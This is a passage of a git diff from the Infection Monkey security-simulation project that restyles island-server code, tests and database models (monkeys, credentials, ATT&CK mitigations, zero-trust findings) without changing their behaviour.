b/monkey/monkey_island/cc/environment/test__init__.py index fde0a8b271c..aea1263c276 100644 --- a/monkey/monkey_island/cc/environment/test__init__.py +++ b/monkey/monkey_island/cc/environment/test__init__.py @@ -5,22 +5,23 @@ from unittest.mock import MagicMock, patch from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH -from common.utils.exceptions import (AlreadyRegisteredError, - CredentialsNotRequiredError, - InvalidRegistrationCredentialsError, - RegistrationNotNeededError) -from monkey_island.cc.environment import (Environment, EnvironmentConfig, - UserCreds) +from common.utils.exceptions import ( + AlreadyRegisteredError, + CredentialsNotRequiredError, + InvalidRegistrationCredentialsError, + RegistrationNotNeededError, +) +from monkey_island.cc.environment import Environment, EnvironmentConfig, UserCreds TEST_RESOURCES_DIR = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "testing", "environment") WITH_CREDENTIALS = os.path.join(TEST_RESOURCES_DIR, "server_config_with_credentials.json") NO_CREDENTIALS = os.path.join(TEST_RESOURCES_DIR, "server_config_no_credentials.json") PARTIAL_CREDENTIALS = os.path.join(TEST_RESOURCES_DIR, "server_config_partial_credentials.json") -STANDARD_WITH_CREDENTIALS = os.path.join(TEST_RESOURCES_DIR, - "server_config_standard_with_credentials.json") -STANDARD_ENV = os.path.join(TEST_RESOURCES_DIR, - "server_config_standard_env.json") +STANDARD_WITH_CREDENTIALS = os.path.join( + TEST_RESOURCES_DIR, "server_config_standard_with_credentials.json" +) +STANDARD_ENV = os.path.join(TEST_RESOURCES_DIR, "server_config_standard_env.json") def get_tmp_file(): @@ -40,14 +41,13 @@ def __del__(self): def get_server_config_file_path_test_version(): - return os.path.join(os.getcwd(), 'test_config.json') + return os.path.join(os.getcwd(), "test_config.json") class TestEnvironment(TestCase): - class EnvironmentCredentialsNotRequired(Environment): def __init__(self): - config = StubEnvironmentConfig('test', 'test', UserCreds()) + config = StubEnvironmentConfig("test", "test", UserCreds()) super().__init__(config) _credentials_required = False @@ -57,7 +57,7 @@ def get_auth_users(self): class EnvironmentCredentialsRequired(Environment): def __init__(self): - config = StubEnvironmentConfig('test', 'test', UserCreds()) + config = StubEnvironmentConfig("test", "test", UserCreds()) super().__init__(config) _credentials_required = True @@ -67,7 +67,7 @@ def get_auth_users(self): class EnvironmentAlreadyRegistered(Environment): def __init__(self): - config = StubEnvironmentConfig('test', 'test', UserCreds('test_user', 'test_secret')) + config = StubEnvironmentConfig("test", "test", UserCreds("test_user", "test_secret")) super().__init__(config) _credentials_required = True @@ -131,7 +131,9 @@ def test_is_credentials_set_up(self): env = TestEnvironment.EnvironmentCredentialsNotRequired() self._test_bool_env_method("_is_credentials_set_up", env, STANDARD_ENV, False) - def _test_bool_env_method(self, method_name: str, env: Environment, config: Dict, expected_result: bool): + def _test_bool_env_method( + self, method_name: str, env: Environment, config: Dict, expected_result: bool + ): env._config = EnvironmentConfig(config) method = getattr(env, method_name) if expected_result: diff --git a/monkey/monkey_island/cc/environment/test_environment_config.py b/monkey/monkey_island/cc/environment/test_environment_config.py index de941a6f3b6..d2ac052c7d8 100644 --- a/monkey/monkey_island/cc/environment/test_environment_config.py +++ b/monkey/monkey_island/cc/environment/test_environment_config.py @@ -9,17 +9,11 @@ from monkey_island.cc.environment.user_creds import UserCreds -TEST_RESOURCES_DIR = os.path.join( - MONKEY_ISLAND_ABS_PATH, "cc", "testing", "environment" -) +TEST_RESOURCES_DIR = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "testing", "environment") -WITH_CREDENTIALS = os.path.join( - TEST_RESOURCES_DIR, "server_config_with_credentials.json" -) +WITH_CREDENTIALS = os.path.join(TEST_RESOURCES_DIR, "server_config_with_credentials.json") NO_CREDENTIALS = os.path.join(TEST_RESOURCES_DIR, "server_config_no_credentials.json") -PARTIAL_CREDENTIALS = os.path.join( - TEST_RESOURCES_DIR, "server_config_partial_credentials.json" -) +PARTIAL_CREDENTIALS = os.path.join(TEST_RESOURCES_DIR, "server_config_partial_credentials.json") STANDARD_WITH_CREDENTIALS = os.path.join( TEST_RESOURCES_DIR, "server_config_standard_with_credentials.json" ) diff --git a/monkey/monkey_island/cc/environment/test_user_creds.py b/monkey/monkey_island/cc/environment/test_user_creds.py index 18c05252607..93da16e24ef 100644 --- a/monkey/monkey_island/cc/environment/test_user_creds.py +++ b/monkey/monkey_island/cc/environment/test_user_creds.py @@ -4,19 +4,18 @@ class TestUserCreds(TestCase): - def test_to_dict(self): user_creds = UserCreds() self.assertDictEqual(user_creds.to_dict(), {}) user_creds = UserCreds(username="Test") - self.assertDictEqual(user_creds.to_dict(), {'user': "Test"}) + self.assertDictEqual(user_creds.to_dict(), {"user": "Test"}) user_creds = UserCreds(password_hash="abc1231234") - self.assertDictEqual(user_creds.to_dict(), {'password_hash': "abc1231234"}) + self.assertDictEqual(user_creds.to_dict(), {"password_hash": "abc1231234"}) user_creds = UserCreds(username="Test", password_hash="abc1231234") - self.assertDictEqual(user_creds.to_dict(), {'user': "Test", 'password_hash': "abc1231234"}) + self.assertDictEqual(user_creds.to_dict(), {"user": "Test", "password_hash": "abc1231234"}) def test_to_auth_user(self): user_creds = UserCreds(username="Test", password_hash="abc1231234") diff --git a/monkey/monkey_island/cc/environment/user_creds.py b/monkey/monkey_island/cc/environment/user_creds.py index 7d6ca496223..98a23a14a08 100644 --- a/monkey/monkey_island/cc/environment/user_creds.py +++ b/monkey/monkey_island/cc/environment/user_creds.py @@ -7,7 +7,6 @@ class UserCreds: - def __init__(self, username="", password_hash=""): self.username = username self.password_hash = password_hash @@ -18,9 +17,9 @@ def __bool__(self) -> bool: def to_dict(self) -> Dict: cred_dict = {} if self.username: - cred_dict.update({'user': self.username}) + cred_dict.update({"user": self.username}) if self.password_hash: - cred_dict.update({'password_hash': self.password_hash}) + cred_dict.update({"password_hash": self.password_hash}) return cred_dict def to_auth_user(self) -> User: @@ -29,10 +28,10 @@ def to_auth_user(self) -> User: @staticmethod def get_from_dict(data_dict: Dict) -> UserCreds: creds = UserCreds() - if 'user' in data_dict: - creds.username = data_dict['user'] - if 'password_hash' in data_dict: - creds.password_hash = data_dict['password_hash'] + if "user" in data_dict: + creds.username = data_dict["user"] + if "password_hash" in data_dict: + creds.password_hash = data_dict["password_hash"] return creds @staticmethod diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index 2110845658f..bc7b8e283ba 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -37,8 +37,10 @@ def main(should_setup_only=False, server_config_filename=DEFAULT_SERVER_CONFIG_P env_singleton.initialize_from_file(server_config_filename) initialize_encryptor(env_singleton.env.get_config().data_dir_abs_path) - mongo_url = os.environ.get('MONGO_URL', env_singleton.env.get_mongo_url()) - bootloader_server_thread = Thread(target=BootloaderHttpServer(mongo_url).serve_forever, daemon=True) + mongo_url = os.environ.get("MONGO_URL", env_singleton.env.get_mongo_url()) + bootloader_server_thread = Thread( + target=BootloaderHttpServer(mongo_url).serve_forever, daemon=True + ) bootloader_server_thread.start() start_island_server(should_setup_only) @@ -47,15 +49,15 @@ def main(should_setup_only=False, server_config_filename=DEFAULT_SERVER_CONFIG_P def start_island_server(should_setup_only): - mongo_url = os.environ.get('MONGO_URL', env_singleton.env.get_mongo_url()) + mongo_url = os.environ.get("MONGO_URL", env_singleton.env.get_mongo_url()) wait_for_mongo_db_server(mongo_url) assert_mongo_db_version(mongo_url) populate_exporter_list() app = init_app(mongo_url) - crt_path = str(Path(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.crt')) - key_path = str(Path(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.key')) + crt_path = str(Path(MONKEY_ISLAND_ABS_PATH, "cc", "server.crt")) + key_path = str(Path(MONKEY_ISLAND_ABS_PATH, "cc", "server.key")) setup() @@ -64,20 +66,29 @@ def start_island_server(should_setup_only): return if env_singleton.env.is_debug(): - app.run(host='0.0.0.0', debug=True, ssl_context=(crt_path, key_path)) + app.run(host="0.0.0.0", debug=True, ssl_context=(crt_path, key_path)) else: - http_server = WSGIServer(('0.0.0.0', env_singleton.env.get_island_port()), app, - certfile=os.environ.get('SERVER_CRT', crt_path), - keyfile=os.environ.get('SERVER_KEY', key_path)) + http_server = WSGIServer( + ("0.0.0.0", env_singleton.env.get_island_port()), + app, + certfile=os.environ.get("SERVER_CRT", crt_path), + keyfile=os.environ.get("SERVER_KEY", key_path), + ) log_init_info() http_server.serve_forever() def log_init_info(): - logger.info('Monkey Island Server is running!') + logger.info("Monkey Island Server is running!") logger.info(f"version: {get_version()}") - logger.info('Listening on the following URLs: {}'.format( - ", ".join(["https://{}:{}".format(x, env_singleton.env.get_island_port()) for x in local_ip_addresses()]) + logger.info( + "Listening on the following URLs: {}".format( + ", ".join( + [ + "https://{}:{}".format(x, env_singleton.env.get_island_port()) + for x in local_ip_addresses() + ] + ) ) ) MonkeyDownload.log_executable_hashes() @@ -85,7 +96,7 @@ def log_init_info(): def wait_for_mongo_db_server(mongo_url): while not is_db_server_up(mongo_url): - logger.info('Waiting for MongoDB server on {0}'.format(mongo_url)) + logger.info("Waiting for MongoDB server on {0}".format(mongo_url)) time.sleep(1) @@ -99,11 +110,14 @@ def assert_mongo_db_version(mongo_url): server_version = get_db_version(mongo_url) if server_version < required_version: logger.error( - 'Mongo DB version too old. {0} is required, but got {1}'.format(str(required_version), str(server_version))) + "Mongo DB version too old. {0} is required, but got {1}".format( + str(required_version), str(server_version) + ) + ) sys.exit(-1) else: - logger.info('Mongo DB version OK. Got {0}'.format(str(server_version))) + logger.info("Mongo DB version OK. Got {0}".format(str(server_version))) -if __name__ == '__main__': +if __name__ == "__main__": main() diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py index 87626c44834..c668be7aed7 100644 --- a/monkey/monkey_island/cc/models/__init__.py +++ b/monkey/monkey_island/cc/models/__init__.py @@ -3,6 +3,7 @@ import monkey_island.cc.environment.environment_singleton as env_singleton from .command_control_channel import CommandControlChannel # noqa: F401 + # Order of importing matters here, for registering the embedded and referenced documents before using them. from .config import Config # noqa: F401 from .creds import Creds # noqa: F401 @@ -10,6 +11,8 @@ from .monkey_ttl import MonkeyTtl # noqa: F401 from .pba_results import PbaResults # noqa: F401 -connect(db=env_singleton.env.mongo_db_name, - host=env_singleton.env.mongo_db_host, - port=env_singleton.env.mongo_db_port) +connect( + db=env_singleton.env.mongo_db_name, + host=env_singleton.env.mongo_db_host, + port=env_singleton.env.mongo_db_port, +) diff --git a/monkey/monkey_island/cc/models/attack/attack_mitigations.py b/monkey/monkey_island/cc/models/attack/attack_mitigations.py index 0c38ecbeb3b..3df6b839d65 100644 --- a/monkey/monkey_island/cc/models/attack/attack_mitigations.py +++ b/monkey/monkey_island/cc/models/attack/attack_mitigations.py @@ -12,7 +12,7 @@ class AttackMitigations(Document): COLLECTION_NAME = "attack_mitigations" technique_id = StringField(required=True, primary_key=True) - mitigations = ListField(EmbeddedDocumentField('Mitigation')) + mitigations = ListField(EmbeddedDocumentField("Mitigation")) @staticmethod def get_mitigation_by_technique_id(technique_id: str) -> Document: @@ -23,23 +23,29 @@ def get_mitigation_by_technique_id(technique_id: str) -> Document: def add_mitigation(self, mitigation: CourseOfAction): mitigation_external_ref_id = MitreApiInterface.get_stix2_external_reference_id(mitigation) - if mitigation_external_ref_id.startswith('M'): + if mitigation_external_ref_id.startswith("M"): self.mitigations.append(Mitigation.get_from_stix2_data(mitigation)) def add_no_mitigations_info(self, mitigation: CourseOfAction): mitigation_external_ref_id = MitreApiInterface.get_stix2_external_reference_id(mitigation) - if mitigation_external_ref_id.startswith('T') and len(self.mitigations) == 0: + if mitigation_external_ref_id.startswith("T") and len(self.mitigations) == 0: mitigation_mongo_object = Mitigation.get_from_stix2_data(mitigation) - mitigation_mongo_object['description'] = mitigation_mongo_object['description'].splitlines()[0] - mitigation_mongo_object['url'] = '' + mitigation_mongo_object["description"] = mitigation_mongo_object[ + "description" + ].splitlines()[0] + mitigation_mongo_object["url"] = "" self.mitigations.append(mitigation_mongo_object) @staticmethod def mitigations_from_attack_pattern(attack_pattern: AttackPattern): - return AttackMitigations(technique_id=MitreApiInterface.get_stix2_external_reference_id(attack_pattern), - mitigations=[]) + return AttackMitigations( + technique_id=MitreApiInterface.get_stix2_external_reference_id(attack_pattern), + mitigations=[], + ) @staticmethod def dict_from_stix2_attack_patterns(stix2_dict: Dict[str, AttackPattern]): - return {key: AttackMitigations.mitigations_from_attack_pattern(attack_pattern) - for key, attack_pattern in stix2_dict.items()} + return { + key: AttackMitigations.mitigations_from_attack_pattern(attack_pattern) + for key, attack_pattern in stix2_dict.items() + } diff --git a/monkey/monkey_island/cc/models/attack/mitigation.py b/monkey/monkey_island/cc/models/attack/mitigation.py index 03c8bafefbb..3c096b618df 100644 --- a/monkey/monkey_island/cc/models/attack/mitigation.py +++ b/monkey/monkey_island/cc/models/attack/mitigation.py @@ -12,7 +12,7 @@ class Mitigation(EmbeddedDocument): @staticmethod def get_from_stix2_data(mitigation: CourseOfAction): - name = mitigation['name'] - description = mitigation['description'] + name = mitigation["name"] + description = mitigation["description"] url = MitreApiInterface.get_stix2_external_reference_url(mitigation) return Mitigation(name=name, description=description, url=url) diff --git a/monkey/monkey_island/cc/models/command_control_channel.py b/monkey/monkey_island/cc/models/command_control_channel.py index 3aefef45564..a055c4a661e 100644 --- a/monkey/monkey_island/cc/models/command_control_channel.py +++ b/monkey/monkey_island/cc/models/command_control_channel.py @@ -7,5 +7,6 @@ class CommandControlChannel(EmbeddedDocument): src - Monkey Island's IP dst - Monkey's IP (in case of a proxy chain this is the IP of the last monkey) """ + src = StringField() dst = StringField() diff --git a/monkey/monkey_island/cc/models/config.py b/monkey/monkey_island/cc/models/config.py index cfe12811158..f4af7b4003c 100644 --- a/monkey/monkey_island/cc/models/config.py +++ b/monkey/monkey_island/cc/models/config.py @@ -7,5 +7,6 @@ class Config(EmbeddedDocument): monkey_island.cc.services.config_schema. See https://mongoengine-odm.readthedocs.io/apireference.html#mongoengine.FieldDoesNotExist """ - meta = {'strict': False} + + meta = {"strict": False} pass diff --git a/monkey/monkey_island/cc/models/creds.py b/monkey/monkey_island/cc/models/creds.py index 61322362edf..d0861846d87 100644 --- a/monkey/monkey_island/cc/models/creds.py +++ b/monkey/monkey_island/cc/models/creds.py @@ -5,5 +5,6 @@ class Creds(EmbeddedDocument): """ TODO get an example of this data, and make it strict """ - meta = {'strict': False} + + meta = {"strict": False} pass diff --git a/monkey/monkey_island/cc/models/edge.py b/monkey/monkey_island/cc/models/edge.py index 78fb91d6e06..bb4f8a2c64f 100644 --- a/monkey/monkey_island/cc/models/edge.py +++ b/monkey/monkey_island/cc/models/edge.py @@ -3,7 +3,7 @@ class Edge(Document): - meta = {'allow_inheritance': True} + meta = {"allow_inheritance": True} # SCHEMA src_node_id = ObjectIdField(required=True) diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index b0009a3356c..c375a385899 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -2,8 +2,17 @@ Define a Document Schema for the Monkey document. """ import ring -from mongoengine import (BooleanField, DateTimeField, Document, DoesNotExist, DynamicField, EmbeddedDocumentField, - ListField, ReferenceField, StringField) +from mongoengine import ( + BooleanField, + DateTimeField, + Document, + DoesNotExist, + DynamicField, + EmbeddedDocumentField, + ListField, + ReferenceField, + StringField, +) from common.cloud import environment_names from monkey_island.cc.server_utils.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS @@ -21,10 +30,11 @@ class Monkey(Document): * The logic section defines complex questions we can ask about a single document which are asked multiple times, somewhat like an API. """ + # SCHEMA guid = StringField(required=True) - config = EmbeddedDocumentField('Config') - creds = ListField(EmbeddedDocumentField('Creds')) + config = EmbeddedDocumentField("Config") + creds = ListField(EmbeddedDocumentField("Creds")) dead = BooleanField() description = StringField() hostname = StringField() @@ -45,9 +55,13 @@ class Monkey(Document): command_control_channel = EmbeddedDocumentField(CommandControlChannel) # Environment related fields - environment = StringField(default=environment_names.Environment.UNKNOWN.value, - choices=environment_names.ALL_ENVIRONMENTS_NAMES) - aws_instance_id = StringField(required=False) # This field only exists when the monkey is running on an AWS + environment = StringField( + default=environment_names.Environment.UNKNOWN.value, + choices=environment_names.ALL_ENVIRONMENTS_NAMES, + ) + aws_instance_id = StringField( + required=False + ) # This field only exists when the monkey is running on an AWS # instance. See https://github.com/guardicore/monkey/issues/426. @@ -61,7 +75,7 @@ def get_single_monkey_by_id(db_id): @staticmethod # See https://www.python.org/dev/peps/pep-0484/#forward-references - def get_single_monkey_by_guid(monkey_guid) -> 'Monkey': + def get_single_monkey_by_guid(monkey_guid) -> "Monkey": try: return Monkey.objects.get(guid=monkey_guid) except DoesNotExist as ex: @@ -70,7 +84,7 @@ def get_single_monkey_by_guid(monkey_guid) -> 'Monkey': @staticmethod def get_latest_modifytime(): if Monkey.objects.count() > 0: - return Monkey.objects.order_by('-modifytime').first().modifytime + return Monkey.objects.order_by("-modifytime").first().modifytime return None def is_dead(self): @@ -129,7 +143,7 @@ def get_network_info(self): Formats network info from monkey's model :return: dictionary with an array of IP's and a hostname """ - return {'ips': self.ip_addresses, 'hostname': self.hostname} + return {"ips": self.ip_addresses, "hostname": self.hostname} @ring.lru( expire=1 # data has TTL of 1 second. This is useful for rapid calls for report generation. diff --git a/monkey/monkey_island/cc/models/monkey_ttl.py b/monkey/monkey_island/cc/models/monkey_ttl.py index 3e456f244f0..e3025c25035 100644 --- a/monkey/monkey_island/cc/models/monkey_ttl.py +++ b/monkey/monkey_island/cc/models/monkey_ttl.py @@ -27,15 +27,7 @@ def create_ttl_expire_in(expiry_in_seconds): # https://stackoverflow.com/questions/55994379/mongodb-ttl-index-doesnt-delete-expired-documents. return MonkeyTtl(expire_at=datetime.utcnow() + timedelta(seconds=expiry_in_seconds)) - meta = { - 'indexes': [ - { - 'name': 'TTL_index', - 'fields': ['expire_at'], - 'expireAfterSeconds': 0 - } - ] - } + meta = {"indexes": [{"name": "TTL_index", "fields": ["expire_at"], "expireAfterSeconds": 0}]} expire_at = DateTimeField() diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/test_monkey.py index 7860de20e2d..404078c2790 100644 --- a/monkey/monkey_island/cc/models/test_monkey.py +++ b/monkey/monkey_island/cc/models/test_monkey.py @@ -13,16 +13,12 @@ class TestMonkey: - @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_is_dead(self): # Arrange alive_monkey_ttl = MonkeyTtl.create_ttl_expire_in(30) alive_monkey_ttl.save() - alive_monkey = Monkey( - guid=str(uuid.uuid4()), - dead=False, - ttl_ref=alive_monkey_ttl.id) + alive_monkey = Monkey(guid=str(uuid.uuid4()), dead=False, ttl_ref=alive_monkey_ttl.id) alive_monkey.save() # MIA stands for Missing In Action @@ -69,12 +65,12 @@ def test_get_single_monkey_by_id(self): @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_get_os(self): - linux_monkey = Monkey(guid=str(uuid.uuid4()), - description="Linux shay-Virtual-Machine 4.15.0-50-generic #54-Ubuntu") - windows_monkey = Monkey(guid=str(uuid.uuid4()), - description="Windows bla bla bla") - unknown_monkey = Monkey(guid=str(uuid.uuid4()), - description="bla bla bla") + linux_monkey = Monkey( + guid=str(uuid.uuid4()), + description="Linux shay-Virtual-Machine 4.15.0-50-generic #54-Ubuntu", + ) + windows_monkey = Monkey(guid=str(uuid.uuid4()), description="Windows bla bla bla") + unknown_monkey = Monkey(guid=str(uuid.uuid4()), description="bla bla bla") linux_monkey.save() windows_monkey.save() unknown_monkey.save() @@ -85,32 +81,35 @@ def test_get_os(self): @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_get_tunneled_monkeys(self): - linux_monkey = Monkey(guid=str(uuid.uuid4()), - description="Linux shay-Virtual-Machine") - windows_monkey = Monkey(guid=str(uuid.uuid4()), - description="Windows bla bla bla", - tunnel=linux_monkey) - unknown_monkey = Monkey(guid=str(uuid.uuid4()), - description="bla bla bla", - tunnel=windows_monkey) + linux_monkey = Monkey(guid=str(uuid.uuid4()), description="Linux shay-Virtual-Machine") + windows_monkey = Monkey( + guid=str(uuid.uuid4()), description="Windows bla bla bla", tunnel=linux_monkey + ) + unknown_monkey = Monkey( + guid=str(uuid.uuid4()), description="bla bla bla", tunnel=windows_monkey + ) linux_monkey.save() windows_monkey.save() unknown_monkey.save() tunneled_monkeys = Monkey.get_tunneled_monkeys() - test = bool(windows_monkey in tunneled_monkeys - and unknown_monkey in tunneled_monkeys - and linux_monkey not in tunneled_monkeys - and len(tunneled_monkeys) == 2) + test = bool( + windows_monkey in tunneled_monkeys + and unknown_monkey in tunneled_monkeys + and linux_monkey not in tunneled_monkeys + and len(tunneled_monkeys) == 2 + ) assert test @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_get_label_by_id(self): hostname_example = "a_hostname" ip_example = "1.1.1.1" - linux_monkey = Monkey(guid=str(uuid.uuid4()), - description="Linux shay-Virtual-Machine", - hostname=hostname_example, - ip_addresses=[ip_example]) + linux_monkey = Monkey( + guid=str(uuid.uuid4()), + description="Linux shay-Virtual-Machine", + hostname=hostname_example, + ip_addresses=[ip_example], + ) linux_monkey.save() logger.debug(id(Monkey.get_label_by_id)) diff --git a/monkey/monkey_island/cc/models/zero_trust/event.py b/monkey/monkey_island/cc/models/zero_trust/event.py index d1a0001aff0..727ec9a2a77 100644 --- a/monkey/monkey_island/cc/models/zero_trust/event.py +++ b/monkey/monkey_island/cc/models/zero_trust/event.py @@ -15,6 +15,7 @@ class Event(EmbeddedDocument): * The logic section defines complex questions we can ask about a single document which are asked multiple times, or complex action we will perform - somewhat like an API. """ + # SCHEMA timestamp = DateTimeField(required=True) title = StringField(required=True) @@ -26,12 +27,7 @@ class Event(EmbeddedDocument): def create_event(title, message, event_type, timestamp=None): if not timestamp: timestamp = datetime.now() - event = Event( - timestamp=timestamp, - title=title, - message=message, - event_type=event_type - ) + event = Event(timestamp=timestamp, title=title, message=message, event_type=event_type) event.validate(clean=True) diff --git a/monkey/monkey_island/cc/models/zero_trust/finding.py b/monkey/monkey_island/cc/models/zero_trust/finding.py index f65d39af7e4..7ddf643fecf 100644 --- a/monkey/monkey_island/cc/models/zero_trust/finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/finding.py @@ -28,8 +28,9 @@ class Finding(Document): * The logic section defines complex questions we can ask about a single document which are asked multiple times, or complex action we will perform - somewhat like an API. """ + # http://docs.mongoengine.org/guide/defining-documents.html#document-inheritance - meta = {'allow_inheritance': True} + meta = {"allow_inheritance": True} # SCHEMA test = StringField(required=True, choices=zero_trust_consts.TESTS) diff --git a/monkey/monkey_island/cc/models/zero_trust/monkey_finding.py b/monkey/monkey_island/cc/models/zero_trust/monkey_finding.py index 479b9b2442a..9fd1805f420 100644 --- a/monkey/monkey_island/cc/models/zero_trust/monkey_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/monkey_finding.py @@ -12,9 +12,7 @@ class MonkeyFinding(Finding): details = LazyReferenceField(MonkeyFindingDetails, required=True) @staticmethod - def save_finding(test: str, - status: str, - detail_ref: MonkeyFindingDetails) -> MonkeyFinding: + def save_finding(test: str, status: str, detail_ref: MonkeyFindingDetails) -> MonkeyFinding: finding = MonkeyFinding(test=test, status=status, details=detail_ref) finding.save() return finding diff --git a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py index 9e36e46c5cc..174a68db7d9 100644 --- a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py @@ -12,9 +12,9 @@ class ScoutSuiteFinding(Finding): details = LazyReferenceField(ScoutSuiteFindingDetails, required=True) @staticmethod - def save_finding(test: str, - status: str, - detail_ref: ScoutSuiteFindingDetails) -> ScoutSuiteFinding: + def save_finding( + test: str, status: str, detail_ref: ScoutSuiteFindingDetails + ) -> ScoutSuiteFinding: finding = ScoutSuiteFinding(test=test, status=status, details=detail_ref) finding.save() return finding diff --git a/monkey/monkey_island/cc/models/zero_trust/test_event.py b/monkey/monkey_island/cc/models/zero_trust/test_event.py index f4044c037d9..653be95ec08 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_event.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_event.py @@ -11,19 +11,15 @@ def test_create_event(self): _ = Event.create_event( title=None, # title required message="bla bla", - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, ) with pytest.raises(ValidationError): _ = Event.create_event( - title="skjs", - message="bla bla", - event_type="Unknown" # Unknown event type + title="skjs", message="bla bla", event_type="Unknown" # Unknown event type ) # Assert that nothing is raised. _ = Event.create_event( - title="skjs", - message="bla bla", - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK + title="skjs", message="bla bla", event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK ) diff --git a/monkey/monkey_island/cc/models/zero_trust/test_monkey_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_monkey_finding.py index 56a4066e1c0..f7cf39d2248 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_monkey_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_monkey_finding.py @@ -9,30 +9,36 @@ from monkey_island.cc.test_common.fixtures import FixtureEnum MONKEY_FINDING_DETAIL_MOCK = MonkeyFindingDetails() -MONKEY_FINDING_DETAIL_MOCK.events = ['mock1', 'mock2'] +MONKEY_FINDING_DETAIL_MOCK.events = ["mock1", "mock2"] class TestMonkeyFinding: - @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_save_finding_validation(self): with pytest.raises(ValidationError): - _ = MonkeyFinding.save_finding(test="bla bla", - status=zero_trust_consts.STATUS_FAILED, - detail_ref=MONKEY_FINDING_DETAIL_MOCK) + _ = MonkeyFinding.save_finding( + test="bla bla", + status=zero_trust_consts.STATUS_FAILED, + detail_ref=MONKEY_FINDING_DETAIL_MOCK, + ) @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_save_finding_sanity(self): assert len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 0 event_example = Event.create_event( - title="Event Title", message="event message", event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK) + title="Event Title", + message="event message", + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + ) monkey_details_example = MonkeyFindingDetails() monkey_details_example.events.append(event_example) monkey_details_example.save() - MonkeyFinding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, - status=zero_trust_consts.STATUS_FAILED, - detail_ref=monkey_details_example) + MonkeyFinding.save_finding( + test=zero_trust_consts.TEST_SEGMENTATION, + status=zero_trust_consts.STATUS_FAILED, + detail_ref=monkey_details_example, + ) assert len(MonkeyFinding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 1 assert len(MonkeyFinding.objects(status=zero_trust_consts.STATUS_FAILED)) == 1 diff --git a/monkey/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py index 723b428ff0c..07809cd903f 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py @@ -10,19 +10,20 @@ from monkey_island.cc.test_common.fixtures import FixtureEnum MONKEY_FINDING_DETAIL_MOCK = MonkeyFindingDetails() -MONKEY_FINDING_DETAIL_MOCK.events = ['mock1', 'mock2'] +MONKEY_FINDING_DETAIL_MOCK.events = ["mock1", "mock2"] SCOUTSUITE_FINDING_DETAIL_MOCK = ScoutSuiteFindingDetails() SCOUTSUITE_FINDING_DETAIL_MOCK.scoutsuite_rules = [] class TestScoutSuiteFinding: - @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_save_finding_validation(self): with pytest.raises(ValidationError): - _ = ScoutSuiteFinding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, - status="bla bla", - detail_ref=SCOUTSUITE_FINDING_DETAIL_MOCK) + _ = ScoutSuiteFinding.save_finding( + test=zero_trust_consts.TEST_SEGMENTATION, + status="bla bla", + detail_ref=SCOUTSUITE_FINDING_DETAIL_MOCK, + ) @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_save_finding_sanity(self): @@ -32,9 +33,11 @@ def test_save_finding_sanity(self): scoutsuite_details_example = ScoutSuiteFindingDetails() scoutsuite_details_example.scoutsuite_rules.append(rule_example) scoutsuite_details_example.save() - ScoutSuiteFinding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, - status=zero_trust_consts.STATUS_FAILED, - detail_ref=scoutsuite_details_example) + ScoutSuiteFinding.save_finding( + test=zero_trust_consts.TEST_SEGMENTATION, + status=zero_trust_consts.STATUS_FAILED, + detail_ref=scoutsuite_details_example, + ) assert len(ScoutSuiteFinding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 1 assert len(ScoutSuiteFinding.objects(status=zero_trust_consts.STATUS_FAILED)) == 1 diff --git a/monkey/monkey_island/cc/resources/T1216_pba_file_download.py b/monkey/monkey_island/cc/resources/T1216_pba_file_download.py index ac52b77f8f3..0ac69df6df6 100644 --- a/monkey/monkey_island/cc/resources/T1216_pba_file_download.py +++ b/monkey/monkey_island/cc/resources/T1216_pba_file_download.py @@ -12,6 +12,8 @@ class T1216PBAFileDownload(flask_restful.Resource): """ def get(self): - executable_file_name = 